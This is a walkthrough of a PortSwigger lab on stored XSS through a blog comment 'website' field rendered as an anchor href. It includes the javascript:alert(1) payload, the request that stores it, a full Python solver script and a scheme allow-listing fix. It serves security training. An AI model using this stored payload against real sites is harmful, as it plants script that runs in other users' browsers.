Stored XSS into anchor href attribute with double quotes HTML-encoded
Original lab: Stored XSS into anchor href attribute with double quotes HTML-encoded on PortSwigger ↗
This lab combines two things we'd only seen separately until now: a stored injection point (the comment form's "website" field, rather than a one-shot reflected parameter) and an href attribute sink where double quotes are actually encoded this time. That second detail matters — the earlier href lab (DOM-based, jQuery .attr()) had no filtering at all on the destination string; this one does, which forces a cleaner test of whether the javascript: scheme trick still works once quote characters are off the table.
The Target
The blog's comment form includes a "website" field intended to hold a URL, which the application renders as the href of a link with the comment author's name as the link text. A normal comment submission looks like a POST to /post/comment with name, email, website, and comment fields plus a CSRF token.
The Investigation
We stored a canary in the website field and reloaded the post page to see where it landed. It came back inside the href attribute of the author's name link, as expected — but the double quotes we also tested came back HTML-encoded ("), meaning we couldn't close the attribute and inject a new one the way we did in the previous lab's attribute context. That constraint didn't actually matter here, though: the href attribute doesn't need arbitrary HTML injection to be dangerous — it just needs to hold a scheme the browser will execute when the link is clicked, and nothing about quote-encoding stops us from supplying a full javascript: URI as the *entire* attribute value.
The Exploit
We stored the "website" field as a JavaScript URL, with no quotes needed at all:
javascript:alert(1)
POST /post/comment
postId=<id>&comment=click my name&name=attacker&email=a@b.com&website=javascript:alert(1)&csrf=<token>
Reloading the post page rendered <a href="javascript:alert(1)" ...>attacker</a>. Clicking the author's name link executed the javascript: URI and fired the alert — for any visitor who clicked it, since the payload persists in storage.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution follows the same sequence: post a comment with a random string in the website field, confirm via Repeater that it lands inside the anchor's href, then replace it with javascript:alert(1) and click the author name to trigger it. Same injection point, same payload, same technique — no divergence. The delivery difference is the pattern we've seen throughout this series: their walkthrough intercepts and edits requests manually in Burp, we built and posted the comment directly via HTTP client (handling CSRF token extraction ourselves) and used a headless browser click-trigger to confirm the alert fired on the stored link.
What This Teaches Us
Quote-encoding an attribute value defends against attribute-breakout attacks specifically — it does nothing to defend against the attribute being fully attacker-controlled from end to end, which is exactly what happens when a field like "website" is trusted to already be a safe URL. The real vulnerability here isn't the missing quote-escaping at all; it's the absence of scheme validation on a field that's rendered as a link destination. The fix is to explicitly allow-list acceptable URL schemes (http:, https:, and reject everything else, including javascript:, data:, and vbscript:) before persisting or rendering a user-supplied URL as an href, regardless of what encoding is applied to the surrounding markup.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
Stored XSS into anchor href attribute with double quotes HTML-encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)
Companion script for the writeup: 08-stored-xss-href-double-quotes-encoded.md
What this does:
Stores a canary in the comment form's "website" field, confirms it
lands inside the author link's href attribute, then posts a real
javascript: URI as the website value (handling CSRF extraction itself).
Since the entire href value is attacker-controlled, no quote-breakout
is needed even though double quotes are HTML-encoded here. Confirms
execution with a headless browser that clicks the stored author link.
Usage:
python 08-stored-xss-href-double-quotes-encoded.py <lab-url>
e.g. python 08-stored-xss-href-double-quotes-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net
Requirements:
pip install httpx
pip install playwright && playwright install chromium
"""
import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright
CANARY = "xssCANARY7531_stored"
def get_csrf(client: httpx.Client, path: str) -> str:
r = client.get(path)
m = re.search(r'name="csrf"\s+value="([^"]+)"', r.text)
return m.group(1) if m else ""
def solve(lab_url: str) -> None:
client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
client.get("/")
session = client.cookies.get("session", "")
domain = urllib.parse.urlparse(lab_url).netloc
r = client.get("/")
post_ids = re.findall(r"/post\?postId=(\d+)", r.text)
if not post_ids:
print("[-] No blog posts found")
return
post_id = post_ids[0]
post_path = f"/post?postId={post_id}"
post_url = f"{lab_url}{post_path}"
csrf = get_csrf(client, post_path)
base_post_data = {"postId": post_id, "name": "attacker", "email": "a@b.com",
"comment": "click my name", "csrf": csrf}
# Layer 1: detect -- store the canary in the website field, confirm it lands in href=.
client.post("/post/comment", data={**base_post_data, "website": CANARY})
check = client.get(post_path)
if CANARY not in check.text:
print("[-] Canary not found on post page -- stored XSS not confirmed")
return
if re.search(rf'href="[^"]*{CANARY}', check.text, re.IGNORECASE):
context = "href"
else:
context = "attribute"
print(f"[+] Stored canary found -- context: {context}")
if re.search(rf"{CANARY}"|{CANARY}"", check.text):
print("[*] Double quotes are HTML-encoded")
# Layer 2: craft -- href context -> full javascript: URI, no quotes needed.
payload = "javascript:alert(1)"
print(f"[*] Crafted payload: {payload}")
# Layer 3: store the real payload with a fresh CSRF token, then click the link.
csrf = get_csrf(client, post_path)
client.post("/post/comment", data={**base_post_data, "website": payload, "csrf": csrf})
print("[*] Stored href payload")
alert_fired = False
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
ctx = browser.new_context()
if session:
ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
page = ctx.new_page()
def on_dialog(dialog):
nonlocal alert_fired
alert_fired = True
dialog.accept()
page.on("dialog", on_dialog)
try:
page.goto(post_url, wait_until="domcontentloaded", timeout=15000)
page.wait_for_timeout(1000)
page.click("a[href^='javascript']", timeout=5000)
page.wait_for_timeout(3000)
except Exception:
pass
browser.close()
print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'} after clicking the author link")
result = client.get("/")
if "Congratulations" in result.text:
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Reflected XSS into HTML context with nothing encoded
- Stored XSS into HTML context with nothing encoded
- DOM XSS in document.write sink using source location.search
- DOM XSS in innerHTML sink using source location.search
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →